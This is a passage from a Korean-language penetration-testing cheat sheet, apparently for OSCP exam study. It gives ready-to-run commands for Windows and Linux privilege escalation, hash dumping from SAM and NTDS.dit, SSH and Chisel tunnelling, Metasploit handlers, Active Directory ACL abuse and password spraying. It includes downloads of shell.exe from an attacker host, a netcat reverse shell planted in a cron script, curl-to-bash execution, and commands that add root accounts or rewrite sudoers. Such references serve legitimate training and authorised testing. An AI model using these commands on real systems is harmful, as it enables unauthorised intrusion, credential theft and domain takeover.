3Stop-Service FileZilla
4Start-Service FileZilla
► DLL 검색 순서: 실행파일 디렉토리 → System32 → Windows → PATH 순.
► Procmon 필터: Process Name = target.exe + Result = NAME NOT FOUND + Path ends with .dll.
6.7 Unquoted Service Path
1# 따옴표 없는 서비스 경로 탐색
2wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
1. .\PowerUp.ps1
2Get-UnquotedService
3
4# 경로 중간에 EXE 배치 (예: "C:\Program Files\Enterprise Apps\Current.exe")
5Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
6iwr -uri http://<LHOST>/shell.exe -OutFile "C:\Program Files\Enterprise Apps\Current.exe"
7Restart-Service GammaService
► C:\Program Files\My App\service.exe → C:\Program.exe 또는 C:\Program Files\My.exe 먼저 실행 시도.
6.8 예약된 작업
1schtasks /query /fo LIST /v
1# 특정 사용자 작업 검색
2schtasks /query /fo LIST /v | Select-String -Pattern "diana" -Context 10
3
4# 작업 바이너리 교체
5icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
6iwr -uri http://<LHOST>/shell.exe -OutFile "C:\Users\steve\Pictures\BackendCacheCleanup.exe"
► 스케줄 작업이 높은 권한으로 실행되는지 확인 (Run As User 컬럼).
6.9 Token Impersonation (Potato 계열)
1# SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege 있을 때
2# SigmaPotato
3iwr -uri http://<LHOST>/SigmaPotato.exe -OutFile SigmaPotato.exe
4.\SigmaPotato "net user dave4 lab /add"
5.\SigmaPotato "net localgroup Administrators dave4 /add"
6.\SigmaPotato "cmd /c type c:\users\administrator\Desktop\root.txt"
7
8# PrintSpoofer / GodPotato도 동일 패턴
9.\GodPotato -cmd "cmd /c whoami"
► whoami /priv에서 SeImpersonatePrivilege Enabled 확인 후 사용.
► IIS, MSSQL 서비스 계정에서 자주 발생.
6.10 SAM/SYSTEM/SECURITY 해시 추출
1# 레지스트리 하이브 저장 (SECURITY 포함해야 LSA Secrets 추출 가능)
2reg save HKLM\SAM C:\Temp\SAM
3reg save HKLM\SYSTEM C:\Temp\SYSTEM
4reg save HKLM\SECURITY C:\Temp\SECURITY
1# Kali에서 해시 추출 (SAM + LSA Secrets + DCC2 한 번에)
2impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
3
4# 원격 덤프 (로컬 Administrator 자격증명)
5impacket-secretsdump ./Administrator:'<PASS>'@<IP>
6# 도메인 prefix 붙이면 STATUS_LOGON_FAILURE → 반드시 ./Administrator 또는 HOST\Administrator 형식
secretsdump 결과 읽는 법
SAM섹션 → 로컬 계정 NTLM 해시 (PTH 사용)LSA Secrets→_SC_*서비스 계정 평문 패스워드,DefaultPassword(AutoLogon 평문) ← 고가치DCC2($DCC2$...) → 도메인 캐시 자격증명 → hashcat-m 2100으로 크랙DPAPI→ 마스터 키 (mimikatz dpapi로 추가 복호화)
1# NTLM 해시 크랙 (m=1000)
2hashcat -m 1000 <HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
3
4# DCC2 (Domain Cached Credentials) 크랙 (m=2100) — LSA 덤프에서 발견 시
5hashcat -m 2100 '$DCC2$10240#<user>#<hash>' /usr/share/wordlists/rockyou.txt --force
► LSA DefaultPassword : AutoLogon 설정 시 평문 패스워드가 레지스트리에 저장됨. secretsdump 결과에서 DefaultPassword 항목 반드시 확인.
► DCC2 : 도메인 로그인 이력이 있는 머신에서 발견. 오프라인 크랙만 가능 (PTH 불가).
► SECURITY 하이브 없으면 SAM만 추출되고 LSA Secrets·DCC2 누락됨.
6.11 SeBackupPrivilege → NTDS.dit 추출 (DC)
1# diskshadow 스크립트 작성 (Windows 줄바꿈 필요)
2cat > ds.txt << 'EOF'
3reset
4set verbose on
5set metadata C:\Temp\meta.cab
6set context clientaccessible
7set context persistent
8begin backup
9add volume C: alias cdrive
10create
11expose %cdrive% Z:
12end backup
13exit
14EOF
15
16# Linux에서 작성 후 Windows 줄바꿈으로 변환
17unix2dos ds.txt
18
19# Evil-WinRM으로 업로드 후 실행
20diskshadow /s C:\Temp\ds.txt
21
22# VSS 스냅샷에서 NTDS.dit 복사 (SeBackupPrivilege 필요)
23robocopy /B Z:\Windows\NTDS C:\Temp\ntds ntds.dit
24
25# 다운로드
26download ntds.dit
27download SYSTEM
28
29# Kali에서 해시 덤프
30impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
► SeBackupPrivilege : 파일 ACL 무시하고 읽기 가능.
► /B : Backup 모드 (ACL 우회). ntds.dit는 실행 중 잠겨 있어 VSS 스냅샷 경유 필수.
► 결과에서 Administrator 해시 획득 → PTH로 도메인 장악.
7. Linux 권한상승
7.1 초기 열거
1# 사용자/권한
2id
3sudo -l # sudo 가능한 명령 목록
4
5# 시스템 정보
6cat /etc/issue
7cat /etc/os-release
8uname -r # 커널 버전 (익스플로잇 검색용)
9arch
10
11# 프로세스 모니터링 (cron 등 자동 실행 프로세스 탐색)
12watch -n 1 "ps -aux | grep pass"
13
14# 네트워크
15ss -anp
16
17# 마운트/디스크
18cat /etc/fstab
19mount
20lsblk
21
22# 환경변수 (PATH 하이재킹 힌트)
23env
24
25# 쓰기 가능 디렉토리
26find / -writable -type d 2>/dev/null
27
28# SUID 비트 검색
29find / -perm -u=s -type f 2>/dev/null
30
31# 설치 패키지
32dpkg -l
33
34# 커널 모듈 정보
35lsmod
36/sbin/modinfo libata
7.2 Cron 열거
1ls -lah /etc/cron*
2crontab -l
3sudo crontab -l
4grep "CRON" /var/log/syslog
► cron 스크립트가 쓰기 가능하면 리버스 셸 페이로드 삽입 가능.
7.3 SUID / Capabilities
1# SUID 목록
2find / -perm -u=s -type f 2>/dev/null
3
4# Capabilities 확인
5/usr/sbin/getcap -r / 2>/dev/null
6
7# perl cap_setuid 악용
8perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
9
10# gdb cap_setuid 악용
11gdb -nx -ex 'python import os; os.setuid(0); os.system("/bin/sh")' -ex quit
12
13# GTFOBins 패턴: find
14find . -exec /bin/sh -p \; -quit
► cap_setuid+ep 가진 바이너리 → uid 0으로 변경 가능.
► GTFOBins(gtfobins.github.io)에서 SUID·sudo·capabilities 악용법 검색.
7.4 쓰기 가능 Cron 스크립트 → 리버스 셸
1echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/f" >> /etc/cron.d/user_backups.sh
7.5 /etc/passwd 쓰기 가능 → 루트 추가
1# 패스워드 해시 생성
2openssl passwd w00t
3
4# /etc/passwd에 UID 0 계정 추가
5echo "root3:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
6su root3
► /etc/passwd에 쓰기 권한 있으면 새 루트 계정 추가 가능.
7.6 Sudo 악용
1# tcpdump -z 옵션 익스플로잇
2TF=$(mktemp) && echo 'id' > $TF && chmod +x $TF && sudo tcpdump -ln -i lo -w /tmp/cap.pcap -W 1 -G 1 -z $TF -Z root
3
4# gcc -wrapper
5sudo gcc -wrapper /bin/sh,-s .
6
7# find SUID -exec
8find . -exec /bin/sh -p \; -quit
► sudo -l 결과를 GTFOBins에서 검색해 악용 방법 확인.
7.7 커널 익스플로잇
1# 검색
2searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4."
3
4# 컴파일 + 실행
5cp /usr/share/exploitdb/exploits/linux/local/45010.c .
6gcc cve-2017-16995.c -o cve-2017-16995
7chmod +x cve-2017-16995
8./cve-2017-16995
9
10# CVE-2021-4034 PwnKit
11gcc -shared -fPIC -nostartfiles -o pwnkit.so pwnkit.c
12gcc -o cve-2021-4034 cve-2021-4034.c
13echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
14mkdir -p "GCONV_PATH=."
15cp $(which true) "GCONV_PATH=./pwnkit.so:."
16./cve-2021-4034
7.8 자동화 도구
1# LinPEAS (가장 우선)
2python3 -m http.server 80
3curl http://<LHOST>/linpeas.sh | bash
4# 또는
5wget http://<LHOST>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/lpe.txt
6
7# unix-privesc-check
8unix-privesc-check standard > out.txt
9cat out.txt | grep warning
7.9 sudo -l GTFOBins (OSCP 최빈출)
흐름:
sudo -l→ 실행 가능한 바이너리 확인 → GTFOBins에서 패턴 적용
1sudo -l
2# (ALL) NOPASSWD: /usr/bin/python3 → 가장 흔함
3# (ALL) NOPASSWD: /usr/bin/vim
4# (ALL) NOPASSWD: /usr/bin/find
5# (ALL) NOPASSWD: /usr/bin/awk
6# (ALL) NOPASSWD: /usr/bin/env
7# (ALL) NOPASSWD: /usr/bin/perl
8# (ALL) NOPASSWD: /usr/bin/ruby
9# (ALL) NOPASSWD: /usr/bin/nmap → 구버전
10# (ALL) NOPASSWD: /usr/bin/less
11# (ALL) NOPASSWD: /usr/bin/man
12# (ALL) NOPASSWD: /usr/bin/git
13# (ALL) NOPASSWD: /usr/bin/tar
1# python / python3
2sudo python3 -c 'import os; os.system("/bin/bash")'
3sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
4
5# vim / vi
6sudo vim -c ':!/bin/bash'
7sudo vim -c ':set shell=/bin/bash' -c ':shell'
8
9# nano
10sudo nano
11# Ctrl+R → Ctrl+X → reset; bash 1>&0 2>&0
12
13# find
14sudo find . -exec /bin/bash \; -quit
15sudo find / -name test -exec /bin/bash \;
16
17# awk
18sudo awk 'BEGIN {system("/bin/bash")}'
19
20# env
21sudo env /bin/bash
22
23# perl
24sudo perl -e 'exec "/bin/bash";'
25
26# ruby
27sudo ruby -e 'exec "/bin/bash"'
28
29# less / man
30sudo less /etc/passwd
31# !bash (less 내부에서)
32sudo man ls
33# !/bin/bash
34
35# nmap (구버전 --interactive)
36sudo nmap --interactive
37# !sh
38
39# tar
40sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
41
42# git
43sudo git -p help config
44# !/bin/bash
45
46# zip / unzip
47TF=$(mktemp -u)
48sudo zip $TF /etc/hosts -T -TT 'bash #'
49sudo unzip -K sgml /dev/null
50
51# tee (파일 쓰기 → /etc/sudoers 수정)
52echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
7.10 SUID GTFOBins 패턴
1# SUID 목록 전체
2find / -perm -u=s -type f 2>/dev/null
3
4# bash (SUID 설정된 경우)
5/bin/bash -p # -p 없으면 권한 drop!
6
7# cp → /etc/passwd 덮어쓰기
8openssl passwd -1 -salt xyz newpass
9echo 'newroot:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
10cp /tmp/passwd /etc/passwd
11su newroot
12
13# find
14find . -exec /bin/sh -p \; -quit
15
16# python (SUID)
17python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
18
19# vim (SUID)
20vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
21
22# nmap (SUID 구버전)
23nmap --interactive
24!sh
25
26# pkexec (PwnKit CVE-2021-4034)
27# 취약 버전: 0.105 이하
28pkexec --version
29# 익스플로잇: github.com/berdav/CVE-2021-4034
7.11 Cron PATH 하이재킹
원리: crontab에 전체 경로 없이 명령 실행 시, PATH 앞 디렉토리에 같은 이름 파일 생성하면 실행됨.
1# /etc/crontab 확인
2cat /etc/crontab
3# PATH=/home/user:/usr/local/sbin:/usr/local/bin:...
4# * * * * * root overwrite.sh ← 전체 경로 없음!
5
6# 같은 이름의 악성 스크립트 생성
7cat > /home/user/overwrite.sh << 'EOF'
8#!/bin/bash
9cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
10EOF
11chmod +x /home/user/overwrite.sh
12
13# cron 실행 대기 후
14/tmp/rootbash -p
7.12 NFS no_root_squash
원리: NFS 공유에
no_root_squash옵션이 있으면, 클라이언트 root가 서버에서도 root. Kali에서 root로 SUID 파일 생성 → 피해 서버에서 실행 → root 획득.
1# 서버에서 확인
2cat /etc/exports
3# /srv/share *(rw,no_root_squash)
4
5# Kali에서 마운트 + SUID 설정
6showmount -e <TARGET_IP>
7mkdir /tmp/nfs
8mount -t nfs <TARGET_IP>:/srv/share /tmp/nfs
9
10# SUID bash 복사
11cp /bin/bash /tmp/nfs/rootbash
12chmod +s /tmp/nfs/rootbash
13
14# 서버에서 실행
15/srv/share/rootbash -p
7.13 Linux PrivEsc 체크리스트 (시험용)
[ ] sudo -l → GTFOBins 검색 (가장 먼저!)
[ ] find / -perm -u=s -type f 2>/dev/null → GTFOBins
[ ] /usr/sbin/getcap -r / 2>/dev/null → cap_setuid 확인
[ ] cat /etc/crontab + ls /etc/cron* → 쓰기 가능 스크립트?
[ ] cat /etc/passwd → 쓰기 가능? (echo root2::0:0::/root:/bin/bash >> /etc/passwd)
[ ] find / -writable -type f 2>/dev/null | grep -v proc
[ ] cat /etc/exports → no_root_squash?
[ ] id → docker/lxd/disk 그룹?
[ ] env → LD_PRELOAD 설정 가능?
[ ] linpeas.sh 실행 (위 다 확인 후)
[ ] uname -r → 커널 익스플로잇 (최후 수단)
우선순위: sudo -l > SUID > Capabilities > Cron > /etc/passwd > NFS > 커널
7.14 취약 바이너리 / 서비스 힌트
SUID에서 자주 나오는 CVE 바이너리
| 바이너리 | 확인 방법 | CVE / 익스플로잇 |
|---|---|---|
pkexec | pkexec --version (0.105 이하) | CVE-2021-4034 (PwnKit) - 거의 모든 Linux |
enlightenment_sys | enlightenment --version (0.25.3 이하) | CVE-2022-37706 |
screen | screen --version (4.5.0) | CVE-2017-5618 |
exim4 | exim --version | 버전별 다양한 CVE (searchsploit exim) |
sudo | sudo --version (1.8.31 이하) | CVE-2021-3156 (Baron Samedit) |
php | php --version | SUID php → php -r "pcntl_exec('/bin/bash',['-p']);" |
node | node --version | SUID node → node -e "require('child_process').spawn('/bin/sh',['-p'],{stdio:'inherit'})" |
python | python --version | SUID python → python -c "import os;os.setuid(0);os.system('/bin/bash')" |
1# pkexec (PwnKit) - 가장 흔한 커널/시스템 LPE
2# 설치 여부 확인
3which pkexec && pkexec --version
4
5# GitHub에서 CVE-2021-4034 검색 → berdav/CVE-2021-4034
6gcc -shared -fPIC -o evil.so evil.c
7./cve-2021-4034
Capabilities (getcap)에서 자주 나오는 것
| 바이너리 + Capability | 익스플로잇 |
|---|---|
python3 cap_setuid+ep | python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
perl cap_setuid+ep | perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash"' |
ruby cap_setuid+ep | ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"' |
node cap_setuid+ep | node -e "process.setuid(0); require('child_process').spawn('/bin/bash',{stdio:'inherit'})" |
vim cap_setuid+ep | vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-p")' |
tar cap_dac_read_search | tar xf /etc/shadow --to-command=cat |
tcpdump cap_net_raw | 네트워크 스니핑 (패스워드 캡처) |
특수 그룹 (id에서 확인)
| 그룹 | 익스플로잇 |
|---|---|
docker | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
lxd / lxc | LXD 컨테이너로 호스트 / 마운트 → root 파일 접근 |
disk | debugfs /dev/sda1 → 파일시스템 직접 읽기 (shadow 등) |
adm | /var/log 읽기 → 패스워드/토큰 로그에서 탈취 |
shadow | cat /etc/shadow → hashcat 크랙 |
1# docker 그룹 LPE (가장 빠름)
2docker run -v /:/mnt --rm -it alpine chroot /mnt sh
3# → root 쉘
4
5# lxd 그룹 LPE
6# GitHub: lxd-alpine-builder
7lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
8lxc init alpine privesc -c security.privileged=true
9lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
10lxc start privesc
11lxc exec privesc /bin/sh
12# /mnt/root 에서 호스트 파일시스템 접근
서비스 기반 CVE (실행 중인 서비스 버전 확인)
| 서비스 | 확인 | 대표 CVE |
|---|---|---|
| MySQL root 실행 | ps aux | grep mysql | UDF 인젝션으로 시스템 명령 실행 |
| Apache 구버전 | apache2 -v | CVE-2021-41773(2.4.49), CVE-2021-42013(2.4.50) |
| OpenSSH 구버전 | ssh -V | user 열거, 일부 버전 RCE |
| Sudo 구버전 | sudo --version | CVE-2021-3156, CVE-2019-14287 |
| CUPS | cupsd -v | CVE-2024-47176 (2024년 신규) |
1# 실행 중인 서비스 + 버전 확인
2ps aux
3netstat -tlnp 2>/dev/null || ss -tlnp
4dpkg -l | grep -i "apache\|mysql\|nginx\|ssh\|sudo"
5
6# 내부 포트 (외부 미노출 서비스)
7ss -tlnp | grep 127.0.0.1
8# → 포트포워딩으로 Kali에서 접근 후 CVE 확인
9ssh -L 8080:127.0.0.1:8080 user@target
커널 버전별 주요 CVE (최후 수단)
| 커널 버전 | CVE | 이름 |
|---|---|---|
| 5.8 ~ 5.16.11 | CVE-2022-0847 | Dirty Pipe |
| 2.6.22 ~ 3.9 | CVE-2016-5195 | Dirty COW |
| 3.x ~ 4.x Ubuntu | CVE-2017-16995 | eBPF LPE |
| 전반적 | CVE-2021-4034 | PwnKit (pkexec) |
1uname -r
2# → searchsploit linux kernel <버전>
3# → GitHub에서 버전 검색
8. Port Redirection / SSH 터널링
8.1 Socat 포트 포워딩
1# 외부 포트 → 내부 서비스 포워딩
2socat -ddd TCP-LISTEN:2346,fork TCP:<INTERNAL_IP>:5432
► -ddd : 디버그 출력. fork : 동시 다중 연결 허용.
► 피봇 호스트에서 내부망 서비스 외부 노출 시 사용.
8.2 SSH Local Port Forwarding (-L)
1# 로컬 4456 → 원격 내부망 445
2ssh -N -L 0.0.0.0:4456:<INTERNAL_IP>:445 <USER>@<PIVOT_IP>
3
4# 사용
5smbclient -p 4456 -L //127.0.0.1/ -U <USER> --password=<PASS>
► -N : 명령 실행 없이 터널만 유지. -L [bind_addr:]local_port:target_host:target_port.
► 0.0.0.0 : 모든 인터페이스에서 수신 (다른 머신도 사용 가능).
8.3 SSH Dynamic Port Forwarding (-D, SOCKS5)
1# SOCKS5 프록시 생성 (포트 9999)
2ssh -N -D 0.0.0.0:9999 <USER>@<PIVOT_IP>
3
4# /etc/proxychains4.conf 마지막 줄
5# socks5 127.0.0.1 9999
6
7# proxychains로 내부망 접근
8proxychains smbclient //<INTERNAL_IP>/share -U <USER> --password=<PASS>
9sudo proxychains nmap -p 445 -sT <INTERNAL_IP>
► nmap은 -sT (TCP connect scan)만 proxychains에서 동작. SYN 스캔(-sS) 불가.
8.4 SSH Remote Port Forwarding (-R)
1# Kali SSH 서버 활성화
2sudo systemctl start ssh
3
4# 피봇 호스트에서 실행 → Kali 2345로 내부 DB 노출
5ssh -N -R 127.0.0.1:2345:<INTERNAL_IP>:5432 kali@<KALI_IP>
6
7# Kali에서 접속
8psql -h 127.0.0.1 -p 2345 -U postgres
► -R : 원격(Kali) 머신에 포트 개방. 피봇 호스트가 외부 접근 불가인 경우 유용.
8.5 SSH Remote Dynamic Forwarding
1# 피봇 호스트에서 실행 → Kali 6565에 SOCKS5 개방
2ssh -N -R 6565 kali@<KALI_IP>
3
4# Kali /etc/proxychains4.conf: socks5 127.0.0.1 6565
8.6 sshuttle (VPN-like 투명 라우팅)
1sshuttle -r <USER>@<PIVOT_IP>:<PORT> <INTERNAL_SUBNET>/24 <ANOTHER_SUBNET>/24
► root 불필요. iptables로 내부망 전체 트래픽 자동 터널링. ► proxychains 없이 일반 명령어 그대로 사용 가능.
8.7 Windows Netsh 포트 포워딩
1# IPv4 → IPv4 포워딩
2netsh interface portproxy add v4tov4 listenport=2222 listenaddress=<WIN_IP> connectport=22 connectaddress=<INTERNAL_IP>
3
4# 방화벽 허용
5netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<WIN_IP> localport=2222 action=allow
6
7# 확인
8netsh interface portproxy show all
9netstat -anp TCP | find "2222"
10
11# 정리
12netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
13netsh interface portproxy del v4tov4 listenport=2222
8.8 Plink (Windows SSH 클라이언트)
1C:\Windows\Temp\plink.exe -ssh -l kali -pw kali -R 127.0.0.1:9833:127.0.0.1:3389 <KALI_IP>
► Windows에서 Kali로 RDP(3389)를 리모트 포워딩. Kali에서 rdesktop 127.0.0.1:9833.
9. DPI 우회 터널링
9.1 Chisel (HTTP over SOCKS)
1# Kali: reverse 모드 서버
2chisel server --port 8080 --reverse
3
4# 피해자: 클라이언트 (R:socks → Kali 1080에 SOCKS5 생성)
5/tmp/chisel client <KALI_IP>:8080 R:socks
6
7# 사용 (proxychains4.conf: socks5 127.0.0.1 1080)
8ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' <USER>@<INTERNAL_IP>
9
10# 포트 확인
11ss -ntplu
► HTTP로 트래픽 위장 → 방화벽/DPI 우회.
► R:socks : reverse SOCKS5. 피해자가 아웃바운드로 Kali에 연결.
9.2 DNS 터널링 (dnscat2)
1# 공격자(서버) - 도메인 권한 위임 필요
2dnscat2-server feline.corp
3
4# 피해자(클라이언트)
5./dnscat feline.corp
► DNS 쿼리로 데이터 터널링. 포트 53 아웃바운드만 열려있을 때.
10. Metasploit
10.1 데이터베이스 / 워크스페이스
1sudo msfdb init
2sudo systemctl enable postgresql
3sudo msfconsole -q
workspace -a pen200 # 워크스페이스 생성
db_status # DB 연결 확인
db_nmap 192.168.x.x # 스캔 결과 DB 저장
hosts # 저장된 호스트 목록
services -p 8000 # 특정 포트 서비스 조회
10.2 모듈 검색
search type:auxiliary smb
search type:exploit name:eternalblue
search Apache 2.4.49
use auxiliary/scanner/ssh/ssh_login
info
show options
10.3 Exploit 실행 + 세션
use exploit/multi/http/apache_normalize_path_rce
set payload linux/x64/shell_reverse_tcp
set SSL false
set RPORT 80
set RHOSTS <IP>
run
sessions -l # 세션 목록
sessions -i 1 # 세션 재진입
10.4 msfvenom (장 참조)
# handler 자동 실행
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost <IP>; set lport 4444; set AutoRunScript post/windows/manage/migrate; exploit"
10.5 Meterpreter 명령
sysinfo # 시스템 정보
getuid # 현재 사용자
getsystem # 권한상승 시도
ps # 프로세스 목록
migrate 7696 # 프로세스 이주 (안정성/권한)
background # 백그라운드
download /etc/passwd # 파일 다운로드
upload /tmp/shell.exe C:\Temp\ # 파일 업로드
search -f passwords* # 파일 검색
10.6 UAC 바이패스 / Kiwi / Post
# UAC 바이패스
use exploit/windows/local/bypassuac_sdclt
set SESSION <N>
run
# Kiwi (mimikatz)
load kiwi
creds_all
creds_msv
# 라우팅 (Meterpreter 피봇)
use multi/manage/autoroute
set SESSION <N>
run
# SOCKS 프록시
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j
10.7 Resource 스크립트
1# /home/kali/listener.rc
2cat > /home/kali/listener.rc << 'EOF'
3use exploit/multi/handler
4set PAYLOAD windows/meterpreter_reverse_https
5set LHOST <KALI_IP>
6set LPORT 443
7set AutoRunScript post/windows/manage/migrate
8set ExitOnSession false
9run -z -j
10EOF
11
12sudo msfconsole -r /home/kali/listener.rc
11. Active Directory 열거
11.1 BloodHound 수집
1# Python 버전 (Kali에서, 도메인 크레덴셜 필요)
2python3 bloodhound.py -u <USER> -p '<PASS>' -ns <DC_IP> -c all -d <DOMAIN> -workers 1
3
4# SharpHound (Windows에서)
5.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
6# 또는 PS 모듈
7Import-Module .\Sharphound.ps1
8Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\<USER>\Desktop\ -OutputPrefix "audit"
1# Kali BloodHound GUI
2sudo neo4j start
3bloodhound
4# 기본 자격증명: admin / admin
5# ZIP 파일 드래그앤드롭으로 import
► BloodHound 분석 우선순위:
- 현재 소유 계정 Mark as Owned
- Shortest Paths to Domain Admins (from Owned)
- 각 노드 우클릭 → Outbound Object Control
- 새 크레덴셜/호스트 소유 시 → Mark as Owned 추가 후 재분석
11.2 ACL 기반 공격 체인 (BloodHound 발견 시)
GenericAll → net rpc password로 패스워드 변경 (또는 Rubeus.exe setpassword)
GenericWrite → setspn으로 임시 SPN 추가 → Kerberoasting
ForceChangePassword → net rpc password로 패스워드 강제 변경
DCSync (GetChanges+GetChangesAll) → impacket-secretsdump -just-dc-user
1# GenericAll: 타겟 계정 패스워드 변경
2net rpc password "<TARGET_USER>" "<NEW_PASS>" -U "<DOMAIN>/<ATTACKER_USER>%<PASS>" -S <DC_IP>
3
4# 접속 확인
5evil-winrm -i <DC_IP> -u <TARGET_USER> -p '<NEW_PASS>'
1# GenericWrite: 임시 SPN 추가 → Kerberoasting
2setspn -S http/<TARGET_USER>.<DOMAIN> <TARGET_USER>
11.3 net.exe 수동 열거
1net user /domain
2net user <username> /domain
3net group /domain
4net group "Domain Admins" /domain
5net accounts
11.4 PowerView
1Import-Module .\PowerView.ps1
2
3Get-NetDomain
4Get-NetUser | select cn,pwdlastset,lastlogon
5Get-NetGroup | select cn
6Get-NetGroup "Sales Department" | select member
7Get-NetComputer | select operatingsystem,dnshostname
8
9# 로컬 관리자 권한 확인 (현재 사용자가 관리자인 호스트)
10Find-LocalAdminAccess
11
12# SPN 사용자 (Kerberoasting 후보)
13Get-NetUser -SPN | select samaccountname,serviceprincipalname
14
15# 객체 ACL (GenericAll 등)
16Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
17
18# SID → 이름 변환
19Convert-SidToName S-1-5-21-...-1104
20
21# 공유 검색
22Find-DomainShare
11.5 ldapdomaindump / nltest
1# ldapdomaindump — LDAP 전체 덤프 (사용자·그룹·컴퓨터·도메인 정책)
2ldapdomaindump -u '<DOMAIN>\<USER>' -p '<PASS>' <DC_IP>
3proxychains ldapdomaindump -u '<DOMAIN>\<USER>' -p '<PASS>' <DC_IP>
4
5# 결과 파일 (현재 디렉토리)
6cat domain_users.grep | grep -i "admin" # 관리자 그룹 필터
7cat domain_users.grep | grep -i "domain" # Domain Admins 확인
1# nltest — DC 목록 조회 (도메인 내부에서)
2nltest /dclist:<DOMAIN>
3
4# systeminfo로 도메인·DC 확인
5systeminfo | findstr /i "domain"
6nslookup <DOMAIN>
► ldapdomaindump : BloodHound 없이도 도메인 구조 빠르게 파악 가능. domain_users.grep 에서 특권 계정 필터링.
11.6 GPO Abuse (SharpGPOAbuse)
1# GPO 목록 확인
2Get-GPO -All
3
4# 현재 사용자의 GPO 권한 확인 (GpoEditDeleteModifySecurity 있으면 악용 가능)
5Get-GPPermission -All -Name "Default Domain Policy"
1# SharpGPOAbuse — GPO에 로컬 관리자 추가
2iwr http://<KALI>/SharpGPOAbuse.exe -Outfile SharpGPOAbuse.exe
3.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USER> --GPOName "Default Domain Policy"
4
5# GPO 즉시 갱신 + 세션 재접속 필요
6gpupdate /force
► GpoEditDeleteModifySecurity 권한 있는 계정으로 GPO 수정 → 전체 도메인 머신에 로컬 관리자 추가 가능.
► BloodHound 엣지: GpLink, WriteGpLink, GpoEdit 등 확인.
11.7 SYSVOL / GPP 패스워드
1ls \\<DC>\sysvol\<DOMAIN>\Policies\
2cat \\<DC>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml
1# GPP cpassword 복호화
2gpp-decrypt "<cpassword_value>"
► Groups.xml, Services.xml, Scheduledtasks.xml 등에 cpassword 존재 가능.
11.8 SMB / LDAP / RDP Credential Spray (새 크레덴셜 획득 시 루틴)
1# 단일 확인
2nxc smb <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
3nxc winrm <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
4nxc rdp <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
5nxc ldap <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
6
7# 로컬 계정으로 인증 (도메인 계정 아닐 때 필수)
8nxc smb <IP> -u Administrator -p '<PASS>' --local-auth
9crackmapexec smb <IP> -u Administrator -p '<PASS>' --local-auth
10
11# PTH
12nxc smb <IP> -u <USER> -H <NTLM_HASH> -d <DOMAIN>
13
14# 범위 스프레이 (새 크레덴셜 얻을 때마다 전체 대입)
15for proto in smb winrm rdp ldap; do
16 nxc $proto 192.168.x.0/24 -u <USER> -p '<PASS>' -d <DOMAIN> 2>/dev/null | grep -i "pwn3d\|success\|+"
17done
18
19# 공유 열거
20nxc smb <IP> -u <USER> -p '<PASS>' -d <DOMAIN> --shares
► [+] : 인증 성공. (Pwn3d!) : 로컬 관리자 권한.
► UPN 형식(user@domain)이 잘 먹힐 때도 있음.
12. AD 인증 공격
12.1 Kerberos 시간 동기화 (인증 오류 방지)
1# DC 시간 확인 (evil-winrm 세션에서)
2(Get-Date).ToUniversalTime.ToString("yyyy-MM-dd HH:mm:ss")
3
4# Kali 시간 동기화
5sudo timedatectl set-ntp off
6sudo date -s "2026-08-13 13:39:40"
7
8# 또는 ntpdate
9sudo ntpdate <DC_IP>
► Kerberos는 ±5분 이상 시간 차이 시 인증 실패. impacket 툴 사용 전 반드시 확인.
12.2 패스워드 스프레이 (AD Lockout 주의)
1# Windows: Kerbrute
2.\kerbrute_windows_amd64.exe passwordspray -d <DOMAIN> .\user.txt "<PASS>"
3
4# Spray-Passwords.ps1
5.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
1# CrackMapExec / NetExec
2crackmapexec smb <DC_IP> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success
3nxc smb <DC_IP> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success
► --continue-on-success : 성공해도 계속 시도. Lockout 정책 확인 후 시도.
